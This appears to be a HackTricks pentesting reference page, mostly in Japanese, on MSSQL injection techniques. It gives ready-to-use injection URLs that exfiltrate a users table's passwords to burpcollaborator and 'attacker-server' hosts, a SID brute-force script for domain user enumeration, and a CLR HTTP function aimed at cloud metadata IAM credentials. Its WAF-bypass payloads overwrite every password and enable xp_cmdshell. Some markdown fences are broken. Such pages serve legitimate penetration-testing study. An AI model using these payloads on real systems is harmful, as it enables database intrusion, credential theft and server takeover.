MSSQL Injection

Support HackTricks

Active Directory enumeration

MSSQLサーバー内でSQLインジェクションを使用してドメインユーザーを列挙することが可能な場合があります。以下のMSSQL関数を使用します:

  • SELECT DEFAULT_DOMAIN(): 現在のドメイン名を取得します。

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数はユーザーAdministratorのSIDを16進数形式で返します。これは0x01050000000[...]0000f401のように見え、最後の4バイト500という数値であることに注意してください。これはユーザーadministratorの共通IDです。 この関数を使用すると、ドメインのIDを知ることができます(最後の4バイトを除くすべてのバイト)。

  • SUSER_SNAME(0x01050000000[...]0000e803) : この関数は、指定されたIDのユーザー名を返します(存在する場合)、この場合0000e803はビッグエンディアンで1000(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのすべてのユーザー名を取得できると想像できます。例えば、次のような関数を使用して:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

代替エラーに基づくベクター

エラーに基づくSQLインジェクションは、通常、+AND+1=@@version--のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは、通常WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します。

このような関数のいくつかの例:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

関数USER_NAME()の使用例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

これらのSSRFトリックはこちらから取得されました

fn_xe_file_target_read_file

サーバー上で**VIEW SERVER STATE**権限が必要です。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 権限が必要です。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

CONTROL SERVER 権限が必要です。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtreeのようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな投稿で示されているように、アウトオブバンドデータの抽出にしばしば使用されます。

例えば、xp_dirtreeストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

この方法は、デフォルト設定の Windows Server 2016 Datacenter 上で動作する Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) のようなすべてのシステム構成で機能しない可能性があることに注意が必要です。

さらに、同様の結果を得るために使用できる代替ストアドプロシージャとして master..xp_fileexistxp_subdirs があります。 xp_fileexist に関する詳細は、このTechNet記事で確認できます。

xp_cmdshell

明らかに、xp_cmdshell を使用して SSRF をトリガーする何かを 実行 することもできます。詳細については、ページの 関連セクションを読む してください:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL ユーザー定義関数 - SQLHttp

CLR UDF(共通言語ランタイムユーザー定義関数)を作成することは、任意の .NET 言語で作成され、DLL にコンパイルされ、MSSQL 内でカスタム関数を実行するためにロードされるコードを必要とするプロセスであり、dbo アクセスが必要です。これは通常、データベース接続が sa または管理者ロールで行われる場合にのみ実行可能です。

バイナリを CLR アセンブリとして MSSQL にロードするための Visual Studio プロジェクトとインストール手順は、このGithubリポジトリで提供されており、これにより MSSQL 内から HTTP GET リクエストを実行できるようになります。

この機能の核心は http.cs ファイルにカプセル化されており、WebClient クラスを使用して GET リクエストを実行し、以下のようにコンテンツを取得します:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします(select * from sys.trusted_assemblies;で表示可能):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

クイックエクスプロイテーション: 単一クエリでテーブルの全内容を取得する

ここからのトリック

単一クエリでテーブルの全内容を抽出する簡潔な方法は、FOR JSON句を利用することです。このアプローチは、特定のモード「raw」を必要とするFOR XML句を使用するよりも簡潔です。FOR JSON句は、その簡潔さから好まれます。

現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 無駄な exec() を最後に追加して WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated